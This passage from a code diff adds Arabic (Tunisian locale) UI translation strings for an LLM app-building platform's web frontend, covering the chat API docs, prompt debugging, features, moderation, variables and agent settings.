+    parametersApiTip: 'استرداد معلمات الإدخال المكونة، بما في ذلك أسماء المتغيرات وأسماء الحقول والأنواع والقيم الافتراضية. تستخدم عادة لعرض هذه الحقول في نموذج أو ملء القيم الافتراضية بعد تحميل العميل.',
+  },
+  chatMode: {
+    title: 'API تطبيق الدردشة',
+    info: 'للتطبيقات المحادثة متعددة الاستخدامات باستخدام تنسيق Q&A، اتصل بـ API رسائل الدردشة لبدء الحوار. حافظ على المحادثات الجارية عن طريق تمرير conversation_id المرتجع. تعتمد معلمات الاستجابة والقوالب على إعدادات Dify Prompt Eng.',
+    createChatApi: 'إنشاء رسالة دردشة',
+    createChatApiTip: 'بناء رسالة محادثة جديدة أو استمرار حوار موجود.',
+    inputsTips: '(اختياري) توفير حقول إدخال المستخدم كأزواج مفتاح وقيمة، بما يتوافق مع المتغيرات في هندسة المطالبات. المفتاح هو اسم المتغير، والقيمة هي قيمة المعلمة. إذا كان نوع الحقل هو تحديد، فيجب أن تكون القيمة المرسلة واحدة من الخيارات المحددة مسبقًا.',
+    queryTips: 'محتوى إدخال/سؤال المستخدم',
+    blocking: 'نوع الحظر، في انتظار اكتمال التنفيذ وإرجاع النتائج. (قد يتم قطع الطلبات إذا كانت العملية طويلة)',
+    streaming: 'عائدات التدفق. تنفيذ عائد التدفق بناءً على SSE (أحداث مرسلة من الخادم).',
+    conversationIdTip: '(اختياري) معرف المحادثة: اتركه فارغًا للمحادثة لأول مرة؛ مرر conversation_id من السياق لمتابعة الحوار.',
+    messageFeedbackApi: 'ملاحظات مستخدم محطة الرسالة، إعجاب',
+    messageFeedbackApiTip: 'قيم الرسائل المستلمة نيابة عن المستخدمين النهائيين بإعجاب أو عدم إعجاب. هذه البيانات مرئية في صفحة السجلات والتعليقات التوضيحية وتستخدم لضبط النموذج في المستقبل.',
+    messageIDTip: 'معرف الرسالة',
+    ratingTip: 'إعجاب أو عدم إعجاب، null للإلغاء',
+    chatMsgHistoryApi: 'الحصول على رسالة سجل الدردشة',
+    chatMsgHistoryApiTip: 'تُرجع الصفحة الأولى أحدث شريط `limit`، وهو بترتيب عكسي.',
+    chatMsgHistoryConversationIdTip: 'معرف المحادثة',
+    chatMsgHistoryFirstId: 'معرف سجل الدردشة الأول في الصفحة الحالية. الافتراضي هو لا شيء.',
+    chatMsgHistoryLimit: 'كم عدد المحادثات التي يتم إرجاعها في طلب واحد',
+    conversationsListApi: 'الحصول على قائمة المحادثات',
+    conversationsListApiTip: 'يحصل على قائمة الجلسات للمستخدم الحالي. بشكل افتراضي، يتم إرجاع آخر 20 جلسة.',
+    conversationsListFirstIdTip: 'معرف السجل الأخير في الصفحة الحالية، الافتراضي لا شيء.',
+    conversationsListLimitTip: 'كم عدد المحادثات التي يتم إرجاعها في طلب واحد',
+    conversationRenamingApi: 'إعادة تسمية المحادثة',
+    conversationRenamingApiTip: 'إعادة تسمية المحادثات؛ يتم عرض الاسم في واجهات العملاء متعددة الجلسات.',
+    conversationRenamingNameTip: 'اسم جديد',
+    parametersApi: 'الحصول على معلومات حول معلمات التطبيق',
+    parametersApiTip: 'استرداد معلمات الإدخال المكونة، بما في ذلك أسماء المتغيرات وأسماء الحقول والأنواع والقيم الافتراضية. تستخدم عادة لعرض هذه الحقول في نموذج أو ملء القيم الافتراضية بعد تحميل العميل.',
+  },
+  develop: {
+    requestBody: 'جسم الطلب (Request Body)',
+    pathParams: 'معلمات المسار (Path Params)',
+    query: 'استعلام (Query)',
+    toc: 'المحتويات',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/app-debug.ts b/web/i18n/ar-TN/app-debug.ts
new file mode 100644
index 0000000000..9430076c6e
--- /dev/null
+++ b/web/i18n/ar-TN/app-debug.ts
@@ -0,0 +1,571 @@
+const translation = {
+  pageTitle: {
+    line1: 'المطالبة',
+    line2: 'الهندسة',
+  },
+  orchestrate: 'تنسيق',
+  promptMode: {
+    simple: 'التبديل إلى وضع الخبير لتعديل المطالبة بالكامل',
+    advanced: 'وضع الخبير',
+    switchBack: 'التبديل مرة أخرى',
+    advancedWarning: {
+      title: 'لقد انتقلت إلى وضع الخبير، وبمجرد تعديل المطالبة، لا يمكنك العودة إلى الوضع الأساسي.',
+      description: 'في وضع الخبير، يمكنك تعديل المطالبة بالكامل.',
+      learnMore: 'اعرف المزيد',
+      ok: 'موافق',
+    },
+    operation: {
+      addMessage: 'إضافة رسالة',
+    },
+    contextMissing: 'مكون السياق مفقود، قد لا تكون فعالية المطالبة جيدة.',
+  },
+  operation: {
+    applyConfig: 'نشر',
+    resetConfig: 'إعادة تعيين',
+    debugConfig: 'تصحيح',
+    addFeature: 'إضافة ميزة',
+    automatic: 'توليد',
+    stopResponding: 'إيقاف الاستجابة',
+    agree: 'إعجاب',
+    disagree: 'لم يعجبني',
+    cancelAgree: 'إلغاء الإعجاب',
+    cancelDisagree: 'إلغاء عدم الإعجاب',
+    userAction: 'المستخدم ',
+  },
+  notSetAPIKey: {
+    title: 'لم يتم تعيين مفتاح مزود LLM',
+    trailFinished: 'انتهت التجربة',
+    description: 'لم يتم تعيين مفتاح مزود LLM، ويجب تعيينه قبل تصحيح الأخطاء.',
+    settingBtn: 'الذهاب إلى الإعدادات',
+  },
+  trailUseGPT4Info: {
+    title: 'لا يدعم gpt-4 الآن',
+    description: 'لاستخدام gpt-4، يرجى تعيين مفتاح API.',
+  },
+  feature: {
+    groupChat: {
+      title: 'تحسين الدردشة',
+      description: 'أضف إعدادات ما قبل المحادثة للتطبيقات يمكن أن يعزز تجربة المستخدم.',
+    },
+    groupExperience: {
+      title: 'تحسين التجربة',
+    },
+    conversationOpener: {
+      title: 'فاتحة المحادثة',
+      description: 'في تطبيق الدردشة، يتم استخدام الجملة الأولى التي يتحدث بها الذكاء الاصطناعي بنشاط للمستخدم عادةً كترحيب.',
+    },
+    suggestedQuestionsAfterAnswer: {
+      title: 'متابعة',
+      description: 'يمكن أن يعطي إعداد اقتراح الأسئلة التالية للمستخدمين دردشة أفضل.',
+      resDes: '3 اقتراحات للسؤال التالي للمستخدم.',
+      tryToAsk: 'حاول أن تسأل',
+    },
+    moreLikeThis: {
+      title: 'المزيد مثل هذا',
+      description: 'توليد نصوص متعددة في وقت واحد، ثم تحريرها ومتابعة التوليد',
+      generateNumTip: 'عدد مرات التوليد لكل مرة',
+      tip: 'سيؤدي استخدام هذه الميزة إلى تكبد نفقات إضافية للرموز',
+    },
+    speechToText: {
+      title: 'تحويل الكلام إلى نص',
+      description: 'يمكن استخدام الإدخال الصوتي في الدردشة.',
+      resDes: 'تم تمكين الإدخال الصوتي',
+    },
+    textToSpeech: {
+      title: 'تحويل النص إلى كلام',
+      description: 'يمكن تحويل رسائل المحادثة إلى كلام.',
+      resDes: 'تم تمكين تحويل النص إلى صوت',
+    },
+    citation: {
+      title: 'الاقتباسات والسمات',
+      description: 'عرض المستند المصدري والقسم المنسوب للمحتوى المولد.',
+      resDes: 'تم تمكين الاقتباسات والسمات',
+    },
+    annotation: {
+      title: 'رد التعليق التوضيحي',
+      description: 'يمكنك إضافة استجابة عالية الجودة يدويًا إلى ذاكرة التخزين المؤقت للمطابقة ذات الأولوية مع أسئلة المستخدم المماثلة.',
+      resDes: 'تم تمكين استجابة التعليق التوضيحي',
+      scoreThreshold: {
+        title: 'عتبة النتيجة',
+        description: 'يستخدم لتعيين عتبة التشابه لرد التعليق التوضيحي.',
+        easyMatch: 'تطابق سهل',
+        accurateMatch: 'تطابق دقيق',
+      },
+      matchVariable: {
+        title: 'متغير المطابقة',
+        choosePlaceholder: 'اختر متغير المطابقة',
+      },
+      cacheManagement: 'التعليقات التوضيحية',
+      cached: 'تم التعليق',
+      remove: 'إزالة',
+      removeConfirm: 'حذف هذا التعليق التوضيحي؟',
+      add: 'إضافة تعليق توضيحي',
+      edit: 'تعديل التعليق التوضيحي',
+    },
+    dataSet: {
+      title: 'المعرفة',
+      noData: 'يمكنك استيراد المعرفة كسياق',
+      selectTitle: 'حدد المعرفة المرجعية',
+      selected: 'تم تحديد المعرفة',
+      noDataSet: 'لم يتم العثور على معرفة',
+      toCreate: 'الذهاب للإنشاء',
+      notSupportSelectMulti: 'دعم معرفة واحدة فقط حاليًا',
+      queryVariable: {
+        title: 'متغير الاستعلام',
+        tip: 'سيتم استخدام هذا المتغير كمدخل استعلام لاسترجاع السياق، والحصول على معلومات السياق المتعلقة بمدخل هذا المتغير.',
+        choosePlaceholder: 'اختر متغير الاستعلام',
+        noVar: 'لا توجد متغيرات',
+        noVarTip: 'يرجى إنشاء متغير في قسم المتغيرات',
+        unableToQueryDataSet: 'غير قادر على استعلام المعرفة',
+        unableToQueryDataSetTip: 'غير قادر على استعلام المعرفة بنجاح، يرجى اختيار متغير استعلام سياق في قسم السياق.',
+        ok: 'موافق',
+        contextVarNotEmpty: 'لا يمكن أن يكون متغير استعلام السياق فارغًا',
+        deleteContextVarTitle: 'حذف المتغير "{{varName}}"؟',
+        deleteContextVarTip: 'تم تعيين هذا المتغير كمتغير استعلام سياق، وسيؤثر إزالته على الاستخدام العادي للمعرفة. إذا كنت لا تزال بحاجة إلى حذفه، يرجى إعادة تحديده في قسم السياق.',
+      },
+    },
+    tools: {
+      title: 'الأدوات',
+      tips: 'توفر الأدوات طريقة استدعاء API قياسية، مع أخذ مدخلات المستخدم أو المتغيرات كمعلمات طلب للاستعلام عن البيانات الخارجية كسياق.',
+      toolsInUse: '{{count}} أدوات قيد الاستخدام',
+      modal: {
+        title: 'أداة',
+        toolType: {
+          title: 'نوع الأداة',
+          placeholder: 'يرجى اختيار نوع الأداة',
+        },
+        name: {
+          title: 'الاسم',
+          placeholder: 'يرجى إدخال الاسم',
+        },
+        variableName: {
+          title: 'اسم المتغير',
+          placeholder: 'يرجى إدخال اسم المتغير',
+        },
+      },
+    },
+    conversationHistory: {
+      title: 'سجل المحادثة',
+      description: 'تعيين أسماء بادئة لأدوار المحادثة',
+      tip: 'لم يتم تمكين سجل المحادثة، يرجى إضافة <histories> في المطالبة أعلاه.',
+      learnMore: 'اعرف المزيد',
+      editModal: {
+        title: 'تعديل أسماء أدوار المحادثة',
+        userPrefix: 'بادئة المستخدم',
+        assistantPrefix: 'بادئة المساعد',
+      },
+    },
+    toolbox: {
+      title: 'صندوق الأدوات',
+    },
+    moderation: {
+      title: 'تعديل المحتوى',
+      description: 'تأمين إخراج النموذج باستخدام API التعديل أو الحفاظ على قائمة كلمات حساسة.',
+      contentEnableLabel: 'تم تمكين تعديل المحتوى',
+      allEnabled: 'الإدخال والإخراج',
+      inputEnabled: 'الإدخال',
+      outputEnabled: 'الإخراج',
+      modal: {
+        title: 'إعدادات تعديل المحتوى',
+        provider: {
+          title: 'المزود',
+          openai: 'OpenAI Moderation',
+          openaiTip: {
+            prefix: 'تتطلب OpenAI Moderation مفتاح OpenAI API تم تكوينه في ',
+            suffix: '.',
+          },
+          keywords: 'الكلمات الرئيسية',
+        },
+        keywords: {
+          tip: 'واحد لكل سطر، مفصولة بفواصل الأسطر. ما يصل إلى 100 حرف لكل سطر.',
+          placeholder: 'واحد لكل سطر، مفصولة بفواصل الأسطر',
+          line: 'سطر',
+        },
+        content: {
+          input: 'تعديل محتوى الإدخال',
+          output: 'تعديل محتوى الإخراج',
+          preset: 'ردود محددة مسبقًا',
+          placeholder: 'محتوى الردود المحددة مسبقًا هنا',
+          condition: 'تم تمكين تعديل محتوى الإدخال والإخراج واحد على الأقل',
+          fromApi: 'يتم إرجاع الردود المحددة مسبقًا بواسطة API',
+          errorMessage: 'لا يمكن أن تكون الردود المحددة مسبقًا فارغة',
+          supportMarkdown: 'دعم Markdown',
+        },
+        openaiNotConfig: {
+          before: 'تتطلب OpenAI Moderation مفتاح OpenAI API تم تكوينه في',
+          after: '',
+        },
+      },
+    },
+    fileUpload: {
+      title: 'تحميل الملف',
+      description: 'يسمح مربع إدخال الدردشة بتحميل الصور والمستندات والملفات الأخرى.',
+      supportedTypes: 'أنواع الملفات المدعومة',
+      numberLimit: 'الحد الأقصى للتحميلات',
+      modalTitle: 'إعداد تحميل الملف',
+    },
+    imageUpload: {
+      title: 'تحميل الصور',
+      description: 'السماح بتحميل الصور.',
+      supportedTypes: 'أنواع الملفات المدعومة',
+      numberLimit: 'الحد الأقصى للتحميلات',
+      modalTitle: 'إعداد تحميل الصور',
+    },
+    bar: {
+      empty: 'تمكين الميزة لتعزيز تجربة مستخدم تطبيق الويب',
+      enableText: 'تم تمكين الميزات',
+      manage: 'إدارة',
+    },
+    documentUpload: {
+      title: 'مستند',
+      description: 'سيسمح تمكين المستند للنموذج بأخذ المستندات والإجابة على الأسئلة حولها.',
+    },
+    audioUpload: {
+      title: 'صوت',
+      description: 'سيسمح تمكين الصوت للنموذج بمعالجة ملفات الصوت للنسخ والتحليل.',
+    },
+  },
+  codegen: {
+    title: 'مولد الكود',
+    description: 'يستخدم مولد الكود النماذج المكونة لتوليد كود عالي الجودة بناءً على تعليماتك. يرجى تقديم تعليمات واضحة ومفصلة.',
+    instruction: 'تعليمات',
+    instructionPlaceholder: 'أدخل وصفًا تفصيليًا للكود الذي تريد توليده.',
+    noDataLine1: 'صف حالة استخدامك على اليسار،',
+    noDataLine2: 'سيظهر معاينة الكود هنا.',
+    generate: 'توليد',
+    generatedCodeTitle: 'الكود المولد',
+    loading: 'جاري توليد الكود...',
+    apply: 'تطبيق',
+    applyChanges: 'تطبيق التغييرات',
+    resTitle: 'الكود المولد',
+    overwriteConfirmTitle: 'استبدال الكود الموجود؟',
+    overwriteConfirmMessage: 'سيؤدي هذا الإجراء إلى استبدال الكود الموجود. هل تريد المتابعة؟',
+  },
+  generate: {
+    title: 'مولد المطالبة',
+    description: 'يستخدم مولد المطالبة النموذج المكون لتحسين المطالبات للحصول على جودة أعلى وبنية أفضل. يرجى كتابة تعليمات واضحة ومفصلة.',
+    tryIt: 'جربه',
+    instruction: 'تعليمات',
+    instructionPlaceHolderTitle: 'صف كيف ترغب في تحسين هذه المطالبة. على سبيل المثال:',
+    instructionPlaceHolderLine1: 'اجعل الإخراج أكثر إيجازًا، مع الاحتفاظ بالنقاط الأساسية.',
+    instructionPlaceHolderLine2: 'تنسيق الإخراج غير صحيح، يرجى اتباع تنسيق JSON بدقة.',
+    instructionPlaceHolderLine3: 'النبرة قاسية جدًا، يرجى جعلها أكثر ودية.',
+    codeGenInstructionPlaceHolderLine: 'كلما كانت الملاحظات أكثر تفصيلاً، مثل أنواع بيانات الإدخال والإخراج وكذلك كيفية معالجة المتغيرات، كلما كان توليد الكود أكثر دقة.',
+    idealOutput: 'المخرجات المثالية',
+    idealOutputPlaceholder: 'صف تنسيق الاستجابة المثالي، والطول، والنبرة، ومتطلبات المحتوى...',
+    optional: 'اختياري',
+    dismiss: 'تجاهل',
+    generate: 'توليد',
+    resTitle: 'المطالبة المولدة',
+    newNoDataLine1: 'اكتب تعليمات في العمود الأيسر، وانقر فوق توليد لرؤية الاستجابة. ',
+    apply: 'تطبيق',
+    loading: 'تنسيق التطبيق لك...',
+    overwriteTitle: 'تجاوز التكوين الحالي؟',
+    overwriteMessage: 'سيؤدي تطبيق هذه المطالبة إلى تجاوز التكوين الحالي.',
+    template: {
+      pythonDebugger: {
+        name: 'مصحح أخطاء بايثون',
+        instruction: 'برنامج روبوت يمكنه إنشاء وتصحيح الكود الخاص بك بناءً على تعليماتك',
+      },
+      translation: {
+        name: 'ترجمة',
+        instruction: 'مترجم يمكنه ترجمة لغات متعددة',
+      },
+      professionalAnalyst: {
+        name: 'محلل محترف',
+        instruction: 'استخراج الرؤى وتحديد المخاطر وتقطير المعلومات الأساسية من التقارير الطويلة في مذكرة واحدة',
+      },
+      excelFormulaExpert: {
+        name: 'خبير صيغة Excel',
+        instruction: 'روبوت دردشة يمكنه مساعدة المستخدمين المبتدئين على فهم صيغ Excel واستخدامها وإنشائها بناءً على تعليمات المستخدم',
+      },
+      travelPlanning: {
+        name: 'تخطيط السفر',
+        instruction: 'مساعد تخطيط السفر هو أداة ذكية مصممة لمساعدة المستخدمين على التخطيط لرحلاتهم بسهولة',
+      },
+      SQLSorcerer: {
+        name: 'ساحر SQL',
+        instruction: 'تحويل اللغة اليومية إلى استعلامات SQL',
+      },
+      GitGud: {
+        name: 'Git gud',
+        instruction: 'إنشاء أوامر Git مناسبة بناءً على إجراءات التحكم في الإصدار التي وصفها المستخدم',
+      },
+      meetingTakeaways: {
+        name: 'اجتماع الوجبات الجاهزة',
+        instruction: 'تقطير الاجتماعات في ملخصات موجزة بما في ذلك مواضيع المناقشة، والوجبات الجاهزة الرئيسية، وعناصر العمل',
+      },
+      writingsPolisher: {
+        name: 'ملمع الكتابات',
+        instruction: 'استخدم تقنيات التحرير المتقدمة لتحسين كتاباتك',
+      },
+    },
+    press: 'اضغط',
+    to: 'إلى ',
+    insertContext: 'إدراج السياق',
+    optimizePromptTooltip: 'تحسين في مولد المطالبة',
+    optimizationNote: 'ملاحظة التحسين',
+    versions: 'إصدارات',
+    version: 'إصدار',
+    latest: 'الأحدث',
+  },
+  resetConfig: {
+    title: 'تأكيد إعادة التعيين؟',
+    message:
+      'تتجاهل إعادة التعيين التغييرات، وتستعيد التكوين الأخير المنشور.',
+  },
+  errorMessage: {
+    nameOfKeyRequired: 'اسم المفتاح: {{key}} مطلوب',
+    valueOfVarRequired: 'قيمة {{key}} لا يمكن أن تكون فارغة',
+    queryRequired: 'نص الطلب مطلوب.',
+    waitForResponse: 'يرجى الانتظار حتى اكتمال الرد على الرسالة السابقة.',
+    waitForBatchResponse: 'يرجى الانتظار حتى اكتمال الرد على مهمة الدفعة.',
+    notSelectModel: 'يرجى اختيار نموذج',
+    waitForImgUpload: 'يرجى الانتظار حتى تحميل الصورة',
+    waitForFileUpload: 'يرجى الانتظار حتى تحميل الملف/الملفات',
+  },
+  warningMessage: {
+    timeoutExceeded: 'لا يتم عرض النتائج بسبب المهلة. يرجى الرجوع إلى السجلات لجمع النتائج الكاملة.',
+  },
+  chatSubTitle: 'تعليمات',
+  completionSubTitle: 'مقدمة المطالبة',
+  promptTip:
+    'توجه المطالبات استجابات الذكاء الاصطناعي بالتعليمات والقيود. أدرج متغيرات مثل {{input}}. لن تكون هذه المطالبة مرئية للمستخدمين.',
+  formattingChangedTitle: 'تغيير التنسيق',
+  formattingChangedText:
+    'سيؤدي تعديل التنسيق إلى إعادة تعيين منطقة التصحيح، هل أنت متأكد؟',
+  variableTitle: 'المتغيرات',
+  variableTip:
+    'يملأ المستخدمون المتغيرات في نموذج، ويستبدلون المتغيرات تلقائيًا في المطالبة.',
+  notSetVar: 'تسمح المتغيرات للمستخدمين بتقديم كلمات مطالبة أو ملاحظات افتتاحية عند ملء النماذج. يمكنك محاولة إدخال "{{input}}" في كلمات المطالبة.',
+  autoAddVar: 'المتغيرات غير المحددة المشار إليها في ما قبل المطالبة، هل ترغب في إضافتها في نموذج إدخال المستخدم؟',
+  variableTable: {
+    key: 'مفتاح المتغير',
+    name: 'اسم حقل إدخال المستخدم',
+    type: 'نوع الإدخال',
+    action: 'إجراءات',
+    typeString: 'سلسلة',
+    typeSelect: 'تحديد',
+  },
+  varKeyError: {
+    canNoBeEmpty: '{{key}} مطلوب',
+    tooLong: '{{key}} طويل جدًا. لا يمكن أن يكون أطول من 30 حرفًا',
+    notValid: '{{key}} غير صالح. يمكن أن يحتوي فقط على أحرف وأرقام وشرطات سفلية',
+    notStartWithNumber: '{{key}} لا يمكن أن يبدأ برقم',
+    keyAlreadyExists: '{{key}} موجود بالفعل',
+  },
+  otherError: {
+    promptNoBeEmpty: 'لا يمكن أن تكون المطالبة فارغة',
+    historyNoBeEmpty: 'يجب تعيين سجل المحادثة في المطالبة',
+    queryNoBeEmpty: 'يجب تعيين الاستعلام في المطالبة',
+  },
+  variableConfig: {
+    'addModalTitle': 'إضافة حقل إدخال',
+    'editModalTitle': 'تعديل حقل إدخال',
+    'description': 'إعداد للمتغير {{varName}}',
+    'fieldType': 'نوع الحقل',
+    'string': 'نص قصير',
+    'text-input': 'نص قصير',
+    'paragraph': 'فقرة',
+    'select': 'تحديد',
+    'number': 'رقم',
+    'checkbox': 'مربع اختيار',
+    'json': 'كود JSON',
+    'jsonSchema': 'مخطط JSON',
+    'optional': 'اختياري',
+    'single-file': 'ملف واحد',
+    'multi-files': 'قائمة ملفات',
+    'notSet': 'لم يتم التعيين، حاول كتابة {{input}} في بادئة المطالبة',
+    'stringTitle': 'خيارات مربع نص النموذج',
+    'maxLength': 'الحد الأقصى للطول',
+    'options': 'خيارات',
+    'addOption': 'إضافة خيار',
+    'apiBasedVar': 'متغير قائم على API',
+    'varName': 'اسم المتغير',
+    'labelName': 'اسم التسمية',
+    'displayName': 'اسم العرض',
+    'inputPlaceholder': 'يرجى الإدخال',
+    'content': 'المحتوى',
+    'required': 'مطلوب',
+    'placeholder': 'عنصر نائب',
+    'placeholderPlaceholder': 'أدخل نصًا للعرض عندما يكون الحقل فارغًا',
+    'defaultValue': 'القيمة الافتراضية',
+    'defaultValuePlaceholder': 'أدخل قيمة افتراضية لملء الحقل مسبقًا',
+    'unit': 'وحدة',
+    'unitPlaceholder': 'عرض الوحدات بعد الأرقام، مثل الرموز',
+    'tooltips': 'تلميحات الأدوات',
+    'tooltipsPlaceholder': 'أدخل نصًا مفيدًا يظهر عند التمرير فوق التسمية',
+    'showAllSettings': 'عرض جميع الإعدادات',
+    'startSelectedOption': 'بدء الخيار المحدد',
+    'noDefaultSelected': 'لا تحدد',
+    'hide': 'إخفاء',
+    'file': {
+      supportFileTypes: 'أنواع الملفات المدعومة',
+      image: {
+        name: 'صورة',
+      },
+      audio: {
+        name: 'صوت',
+      },
+      document: {
+        name: 'مستند',
+      },
+      video: {
+        name: 'فيديو',
+      },
+      custom: {
+        name: 'أنواع ملفات أخرى',
+        description: 'تحديد أنواع ملفات أخرى.',
+        createPlaceholder: '+ ملحق الملف، مثل .doc',
+      },
+    },
+    'uploadFileTypes': 'تحميل أنواع الملفات',
+    'uploadMethod': 'طريقة التحميل',
+    'localUpload': 'تحميل محلي',
+    'both': 'كلاهما',
+    'maxNumberOfUploads': 'الحد الأقصى لعدد التحميلات',
+    'maxNumberTip': 'وثيقة < {{docLimit}}، صورة < {{imgLimit}}، صوت < {{audioLimit}}، فيديو < {{videoLimit}}',
+    'errorMsg': {
+      labelNameRequired: 'اسم التسمية مطلوب',
+      varNameCanBeRepeat: 'اسم المتغير لا يمكن تكراره',
+      atLeastOneOption: 'خيار واحد على الأقل مطلوب',
+      optionRepeat: 'يوجد خيارات مكررة',
+    },
+    'startChecked': 'البدء محددًا',
+    'noDefaultValue': 'لا توجد قيمة افتراضية',
+    'selectDefaultValue': 'تحديد القيمة الافتراضية',
+  },
+  vision: {
+    name: 'الرؤية',
+    description: 'سيسمح تمكين الرؤية للنموذج بأخذ الصور والإجابة على الأسئلة حولها. ',
+    onlySupportVisionModelTip: 'يدعم نماذج الرؤية فقط',
+    settings: 'الإعدادات',
+    visionSettings: {
+      title: 'إعدادات الرؤية',
+      resolution: 'الدقة',
+      resolutionTooltip: 'ستسمح الدقة المنخفضة للنموذج باستلام نسخة منخفضة الدقة 512 × 512 من الصورة، وتمثيل الصورة بميزانية 65 رمزًا. يتيح ذلك للواجهة البرمجية إرجاع استجابات أسرع واستهلاك عدد أقل من رموز الإدخال لحالات الاستخدام التي لا تتطلب تفاصيل عالية. ستسمح الدقة العالية أولاً للنموذج برؤية الصورة منخفضة الدقة ثم إنشاء مقتطفات مفصلة من الصور المدخلة كمربعات 512 بكسل بناءً على حجم الصورة المدخلة. يستخدم كل مقتطف مفصل ضعف ميزانية الرمز المميز بإجمالي 129 رمزًا.',
+      high: 'عالية',
+      low: 'منخفضة',
+      uploadMethod: 'طريقة التحميل',
+      both: 'كلاهما',
+      localUpload: 'تحميل محلي',
+      url: 'عنوان URL',
+      uploadLimit: 'حد التحميل',
+    },
+  },
+  voice: {
+    name: 'صوت',
+    defaultDisplay: 'صوت افتراضي',
+    description: 'إعدادات تحويل النص إلى كلام',
+    settings: 'الإعدادات',
+    voiceSettings: {
+      title: 'إعدادات الصوت',
+      language: 'اللغة',
+      resolutionTooltip: 'دعم لغة تحويل النص إلى كلام.',
+      voice: 'صوت',
+      autoPlay: 'تشغيل تلقائي',
+      autoPlayEnabled: 'تشغيل',
+      autoPlayDisabled: 'إيقاف',
+    },
+  },
+  openingStatement: {
+    title: 'فاتحة المحادثة',
+    add: 'إضافة',
+    writeOpener: 'تعديل الفاتحة',
+    placeholder: 'اكتب رسالتك الافتتاحية هنا، يمكنك استخدام المتغيرات، حاول كتابة {{variable}}.',
+    openingQuestion: 'أسئلة افتتاحية',
+    openingQuestionPlaceholder: 'يمكنك استخدام المتغيرات، حاول كتابة {{variable}}.',
+    noDataPlaceHolder:
+      'يمكن أن يساعد بدء المحادثة مع المستخدم الذكاء الاصطناعي على إنشاء اتصال أوثق معهم في تطبيقات المحادثة.',
+    varTip: 'يمكنك استخدام المتغيرات، حاول كتابة {{variable}}',
+    tooShort: 'مطلوب ما لا يقل عن 20 كلمة من المطالبة الأولية لإنشاء ملاحظات افتتاحية للمحادثة.',
+    notIncludeKey: 'لا تتضمن المطالبة الأولية المتغير: {{key}}. يرجى إضافته إلى المطالبة الأولية.',
+  },
+  modelConfig: {
+    model: 'نموذج',
+    setTone: 'تعيين نبرة الاستجابات',
+    title: 'النموذج والمعلمات',
+    modeType: {
+      chat: 'دردشة',
+      completion: 'إكمال',
+    },
+  },
+  inputs: {
+    title: 'تصحيح ومعاينة',
+    noPrompt: 'حاول كتابة بعض المطالبات في مدخلات ما قبل المطالبة',
+    userInputField: 'حقل إدخال المستخدم',
+    noVar: 'املأ قيمة المتغير، والتي سيتم استبدالها تلقائيًا في كلمة المطالبة في كل مرة يتم فيها بدء جلسة جديدة.',
+    chatVarTip:
+      'املأ قيمة المتغير، والتي سيتم استبدالها تلقائيًا في كلمة المطالبة في كل مرة يتم فيها بدء جلسة جديدة',
+    completionVarTip:
+      'املأ قيمة المتغير، والتي سيتم استبدالها تلقائيًا في كلمات المطالبة في كل مرة يتم فيها إرسال سؤال.',
+    previewTitle: 'معاينة المطالبة',
+    queryTitle: 'محتوى الاستعلام',
+    queryPlaceholder: 'يرجى إدخال نص الطلب.',
+    run: 'تشغيل',
+  },
+  result: 'نص الإخراج',
+  noResult: 'سيتم عرض الإخراج هنا.',
+  datasetConfig: {
+    settingTitle: 'إعدادات الاسترجاع',
+    knowledgeTip: 'انقر فوق الزر "+" لإضافة معرفة',
+    retrieveOneWay: {
+      title: 'استرجاع N-to-1',
+      description: 'بناءً على نية المستخدم وأوصاف المعرفة، يختار الوكيل بشكل مستقل أفضل معرفة للاستعلام. الأفضل للتطبيقات ذات المعرفة المحددة والمحدودة.',
+    },
+    retrieveMultiWay: {
+      title: 'استرجاع متعدد المسارات',
+      description: 'بناءً على نية المستخدم، يستعلم عبر جميع المعارف، ويسترجع النص ذي الصلة من مصادر متعددة، ويختار أفضل النتائج المطابقة لاستعلام المستخدم بعد إعادة الترتيب.',
+    },
+    embeddingModelRequired: 'مطلوب نموذج تضمين مكون',
+    rerankModelRequired: 'مطلوب نموذج إعادة ترتيب مكون',
+    params: 'معلمات',
+    top_k: 'أفضل K',
+    top_kTip: 'يستخدم لتصفية القطع الأكثر تشابهًا مع أسئلة المستخدم. سيقوم النظام أيضًا بضبط قيمة Top K ديناميكيًا، وفقًا لـ max_tokens للنموذج المحدد.',
+    score_threshold: 'عتبة النتيجة',
+    score_thresholdTip: 'يستخدم لتعيين عتبة التشابه لتصفية القطع.',
+    retrieveChangeTip: 'قد يؤثر تعديل وضع الفهرس ووضع الاسترجاع على التطبيقات المرتبطة بهذه المعرفة.',
+  },
+  debugAsSingleModel: 'تصحيح كنموذج واحد',
+  debugAsMultipleModel: 'تصحيح كنماذج متعددة',
+  duplicateModel: 'تكرار',
+  publishAs: 'نشر كـ',
+  assistantType: {
+    name: 'نوع المساعد',
+    chatAssistant: {
+      name: 'مساعد أساسي',
+      description: 'بناء مساعد قائم على الدردشة باستخدام نموذج لغة كبير',
+    },
+    agentAssistant: {
+      name: 'مساعد وكيل',
+      description: 'بناء وكيل ذكي يمكنه اختيار الأدوات بشكل مستقل لإكمال المهام',
+    },
+  },
+  agent: {
+    agentMode: 'وضع الوكيل',
+    agentModeDes: 'تعيين نوع وضع الاستدلال للوكيل',
+    agentModeType: {
+      ReACT: 'ReAct',
+      functionCall: 'Function Calling',
+    },
+    setting: {
+      name: 'إعدادات الوكيل',
+      description: 'تسمح إعدادات مساعد الوكيل بتعيين وضع الوكيل والميزات المتقدمة مثل المطالبات المضمنة، المتاحة فقط في نوع الوكيل.',
+      maximumIterations: {
+        name: 'الحد الأقصى للتكرارات',
+        description: 'الحد من عدد التكرارات التي يمكن لمساعد الوكيل تنفيذها',
+      },
+    },
+    buildInPrompt: 'المطالبة المضمنة',
+    firstPrompt: 'المطالبة الأولى',
+    nextIteration: 'التكرار التالي',
+    promptPlaceholder: 'اكتب مطالبتك هنا',
+    tools: {
+      name: 'الأدوات',
+      description: 'يمكن أن يؤدي استخدام الأدوات إلى توسيع قدرات LLM، مثل البحث في الإنترنت أو إجراء العمليات الحسابية العلمية',
+      enabled: 'ممكن',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/app-log.ts b/web/i18n/ar-TN/app-log.ts
new file mode 100644
index 0000000000..a886dd956b
--- /dev/null
+++ b/web/i18n/ar-TN/app-log.ts
@@ -0,0 +1,112 @@
+const translation = {
+  title: 'السجلات',
+  description: 'تسجل السجلات حالة تشغيل التطبيق، بما في ذلك مدخلات المستخدم واستجابات الذكاء الاصطناعي.',
+  dateTimeFormat: 'MM/DD/YYYY hh:mm A',
